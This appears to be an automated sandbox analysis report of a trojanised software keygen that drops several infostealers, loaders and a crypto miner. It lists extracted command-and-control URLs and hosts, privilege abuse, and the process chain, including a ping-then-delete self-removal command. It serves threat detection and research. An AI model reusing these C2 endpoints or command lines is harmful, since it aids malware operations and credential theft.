Analysis
-
max time kernel
148s -
max time network
599s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
03/04/2021, 07:47
Static task
static1
Behavioral task
behavioral1
Sample
Tekla_Structures_Multiuser_serial_number_keygen_by_orion.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Tekla_Structures_Multiuser_serial_number_keygen_by_orion.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Tekla_Structures_Multiuser_serial_number_keygen_by_orion.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Tekla_Structures_Multiuser_serial_number_keygen_by_orion.exe
Resource
win10v20201028
General
-
Target
Tekla_Structures_Multiuser_serial_number_keygen_by_orion.exe
Malware Config
Extracted
http://labsclub.com/welcome
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
pony
http://www.oldhorse.info
Extracted
metasploit
windows/single_exec
Extracted
fickerstealer
deniedfight.com:80
untouchablename.com:80
Extracted
redline
rimu
rlmushahel.xyz:80
Extracted
redline
02042021
panenewak.xyz:80
Extracted
smokeloader
2020
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
http://999080321test61-service10020125999080321.website/
http://999080321test51-service10020125999080321.xyz/
http://999080321test41-service100201pro25999080321.ru/
http://999080321yest31-service100201rus25999080321.ru/
http://999080321rest21-service10020125999080321.eu/
http://999080321test11-service10020125999080321.press/
http://999080321newfolder4561-service10020125999080321.ru/
http://999080321rustest213-service10020125999080321.ru/
http://999080321test281-service10020125999080321.ru/
http://999080321test261-service10020125999080321.space/
http://999080321yomtest251-service10020125999080321.ru/
http://999080321yirtest231-service10020125999080321.ru/
Extracted
raccoon
afefd33a49c7cbd55d417545269920f24c85aa37
-
url4cnc
https://telete.in/jagressor_kz
Extracted
redline
bbb
135.181.170.166:31114
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Glupteba Payload 3 IoCs
resource yara_rule behavioral3/memory/4172-166-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba behavioral3/memory/4172-170-0x0000000002510000-0x0000000002E1A000-memory.dmp family_glupteba behavioral3/memory/4172-172-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
resource yara_rule behavioral3/memory/4684-379-0x0000000000400000-0x0000000000430000-memory.dmp family_redline behavioral3/memory/16976-463-0x0000000000400000-0x0000000000430000-memory.dmp family_redline behavioral3/memory/16512-954-0x0000000000400000-0x0000000000430000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Taurus Stealer Payload 1 IoCs
resource yara_rule behavioral3/memory/2428-490-0x0000000000400000-0x000000000587C000-memory.dmp family_taurus_stealer -
fickerstealer
Ficker is an infostealer written in Rust and ASM.
-
CustAttr .NET packer 1 IoCs
Detects CustAttr .NET packer in memory.
resource yara_rule behavioral3/memory/12960-685-0x0000000005490000-0x0000000005494000-memory.dmp CustAttr -
Vidar Stealer 4 IoCs
resource yara_rule behavioral3/memory/4568-152-0x0000000000400000-0x0000000000450000-memory.dmp Vidar behavioral3/memory/4568-151-0x0000000001900000-0x000000000194C000-memory.dmp Vidar behavioral3/memory/4824-541-0x0000000000600000-0x0000000000697000-memory.dmp Vidar behavioral3/memory/4824-542-0x0000000000400000-0x0000000000498000-memory.dmp Vidar -
XMRig Miner Payload 7 IoCs
resource yara_rule behavioral3/memory/6452-392-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/6452-394-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/6452-442-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/13532-701-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/13532-800-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/7656-1023-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/7656-1071-0x0000000140000000-0x000000014070A000-memory.dmp xmrig -
Downloads MZ/PE file
-
Executes dropped EXE 11 IoCs
pid Process 2292 keygen-pr.exe 3772 keygen-step-1.exe 3912 keygen-step-3.exe 3752 keygen-step-4.exe 1900 Setup.exe 1748 key.exe 2484 key.exe 612 multitimer.exe 3180 setups.exe 2976 setups.tmp 3776 askinstall20.exe -
Loads dropped DLL 7 IoCs
pid Process 2976 setups.tmp 2976 setups.tmp 2976 setups.tmp 2976 setups.tmp 2976 setups.tmp 2976 setups.tmp 2976 setups.tmp -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 14 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 122 ipinfo.io 293 api.ipify.org 186 api.ipify.org 282 ipinfo.io 368 ip-api.com 507 ipinfo.io 550 ipinfo.io 624 api.ipify.org 643 ipinfo.io 125 ipinfo.io 182 ip-api.com 279 ipinfo.io 482 api.ipify.org 663 ipinfo.io -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1748 set thread context of 2484 1748 key.exe 91 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 16 IoCs
pid pid_target Process procid_target 15060 4824 WerFault.exe 160 15240 4824 WerFault.exe 160 16048 4824 WerFault.exe 160 5132 4824 WerFault.exe 160 16060 4824 WerFault.exe 160 16404 4824 WerFault.exe 160 15864 4824 WerFault.exe 160 6292 4824 WerFault.exe 160 6808 4824 WerFault.exe 160 6956 4824 WerFault.exe 160 7020 4824 WerFault.exe 160 6208 4824 WerFault.exe 160 7476 4824 WerFault.exe 160 7836 4824 WerFault.exe 160 9156 5024 WerFault.exe 124 14056 4332 WerFault.exe 366 -
Delays execution with timeout.exe 2 IoCs
pid Process 6792 timeout.exe 11104 timeout.exe -
Kills process with taskkill 10 IoCs
pid Process 9368 taskkill.exe 15952 taskkill.exe 4536 taskkill.exe 16988 taskkill.exe 8008 taskkill.exe 8988 taskkill.exe 12128 taskkill.exe 5500 taskkill.exe 952 taskkill.exe 5060 taskkill.exe -
Modifies registry class 48 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 6c3a3b6c55add601 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberCompleted = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = 6c3a3b6c55add601 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 6c3a3b6c55add601 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersio = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming MicrosoftEdge.exe -
Runs ping.exe 1 TTPs 5 IoCs
pid Process 4360 PING.EXE 4984 PING.EXE 13780 PING.EXE 4388 PING.EXE 4000 PING.EXE -
Script User-Agent 12 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 124 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 506 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 512 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 553 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 665 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 129 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 280 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 290 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 547 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 642 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 645 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 661 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2976 setups.tmp 2976 setups.tmp -
Suspicious use of AdjustPrivilegeToken 36 IoCs
description pid Process Token: SeDebugPrivilege 1900 Setup.exe Token: SeCreateTokenPrivilege 3776 askinstall20.exe Token: SeAssignPrimaryTokenPrivilege 3776 askinstall20.exe Token: SeLockMemoryPrivilege 3776 askinstall20.exe Token: SeIncreaseQuotaPrivilege 3776 askinstall20.exe Token: SeMachineAccountPrivilege 3776 askinstall20.exe Token: SeTcbPrivilege 3776 askinstall20.exe Token: SeSecurityPrivilege 3776 askinstall20.exe Token: SeTakeOwnershipPrivilege 3776 askinstall20.exe Token: SeLoadDriverPrivilege 3776 askinstall20.exe Token: SeSystemProfilePrivilege 3776 askinstall20.exe Token: SeSystemtimePrivilege 3776 askinstall20.exe Token: SeProfSingleProcessPrivilege 3776 askinstall20.exe Token: SeIncBasePriorityPrivilege 3776 askinstall20.exe Token: SeCreatePagefilePrivilege 3776 askinstall20.exe Token: SeCreatePermanentPrivilege 3776 askinstall20.exe Token: SeBackupPrivilege 3776 askinstall20.exe Token: SeRestorePrivilege 3776 askinstall20.exe Token: SeShutdownPrivilege 3776 askinstall20.exe Token: SeDebugPrivilege 3776 askinstall20.exe Token: SeAuditPrivilege 3776 askinstall20.exe Token: SeSystemEnvironmentPrivilege 3776 askinstall20.exe Token: SeChangeNotifyPrivilege 3776 askinstall20.exe Token: SeRemoteShutdownPrivilege 3776 askinstall20.exe Token: SeUndockPrivilege 3776 askinstall20.exe Token: SeSyncAgentPrivilege 3776 askinstall20.exe Token: SeEnableDelegationPrivilege 3776 askinstall20.exe Token: SeManageVolumePrivilege 3776 askinstall20.exe Token: SeImpersonatePrivilege 3776 askinstall20.exe Token: SeCreateGlobalPrivilege 3776 askinstall20.exe Token: 31 3776 askinstall20.exe Token: 32 3776 askinstall20.exe Token: 33 3776 askinstall20.exe Token: 34 3776 askinstall20.exe Token: 35 3776 askinstall20.exe Token: SeDebugPrivilege 612 multitimer.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3180 setups.exe 2976 setups.tmp 1296 MicrosoftEdge.exe -
Suspicious use of WriteProcessMemory 52 IoCs
description pid Process procid_target PID 1144 wrote to memory of 740 1144 Tekla_Structures_Multiuser_serial_number_keygen_by_orion.exe 79 PID 1144 wrote to memory of 740 1144 Tekla_Structures_Multiuser_serial_number_keygen_by_orion.exe 79 PID 1144 wrote to memory of 740 1144 Tekla_Structures_Multiuser_serial_number_keygen_by_orion.exe 79 PID 740 wrote to memory of 2292 740 cmd.exe 82 PID 740 wrote to memory of 2292 740 cmd.exe 82 PID 740 wrote to memory of 2292 740 cmd.exe 82 PID 740 wrote to memory of 3772 740 cmd.exe 83 PID 740 wrote to memory of 3772 740 cmd.exe 83 PID 740 wrote to memory of 3772 740 cmd.exe 83 PID 740 wrote to memory of 3912 740 cmd.exe 84 PID 740 wrote to memory of 3912 740 cmd.exe 84 PID 740 wrote to memory of 3912 740 cmd.exe 84 PID 740 wrote to memory of 3752 740 cmd.exe 85 PID 740 wrote to memory of 3752 740 cmd.exe 85 PID 740 wrote to memory of 3752 740 cmd.exe 85 PID 3752 wrote to memory of 1900 3752 keygen-step-4.exe 86 PID 3752 wrote to memory of 1900 3752 keygen-step-4.exe 86 PID 2292 wrote to memory of 1748 2292 keygen-pr.exe 87 PID 2292 wrote to memory of 1748 2292 keygen-pr.exe 87 PID 2292 wrote to memory of 1748 2292 keygen-pr.exe 87 PID 3912 wrote to memory of 3908 3912 keygen-step-3.exe 88 PID 3912 wrote to memory of 3908 3912 keygen-step-3.exe 88 PID 3912 wrote to memory of 3908 3912 keygen-step-3.exe 88 PID 3908 wrote to memory of 4000 3908 cmd.exe 90 PID 3908 wrote to memory of 4000 3908 cmd.exe 90 PID 3908 wrote to memory of 4000 3908 cmd.exe 90 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1748 wrote to memory of 2484 1748 key.exe 91 PID 1900 wrote to memory of 612 1900 Setup.exe 93 PID 1900 wrote to memory of 612 1900 Setup.exe 93 PID 1900 wrote to memory of 3180 1900 Setup.exe 94 PID 1900 wrote to memory of 3180 1900 Setup.exe 94 PID 1900 wrote to memory of 3180 1900 Setup.exe 94 PID 3180 wrote to memory of 2976 3180 setups.exe 95 PID 3180 wrote to memory of 2976 3180 setups.exe 95 PID 3180 wrote to memory of 2976 3180 setups.exe 95 PID 3752 wrote to memory of 3776 3752 keygen-step-4.exe 96 PID 3752 wrote to memory of 3776 3752 keygen-step-4.exe 96 PID 3752 wrote to memory of 3776 3752 keygen-step-4.exe 96
Processes
-
C:\Users\Admin\AppData\Local\Temp\Tekla_Structures_Multiuser_serial_number_keygen_by_orion.exe"C:\Users\Admin\AppData\Local\Temp\Tekla_Structures_Multiuser_serial_number_keygen_by_orion.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1144 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:740 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2292 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1748 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
PID:2484
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:3772
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
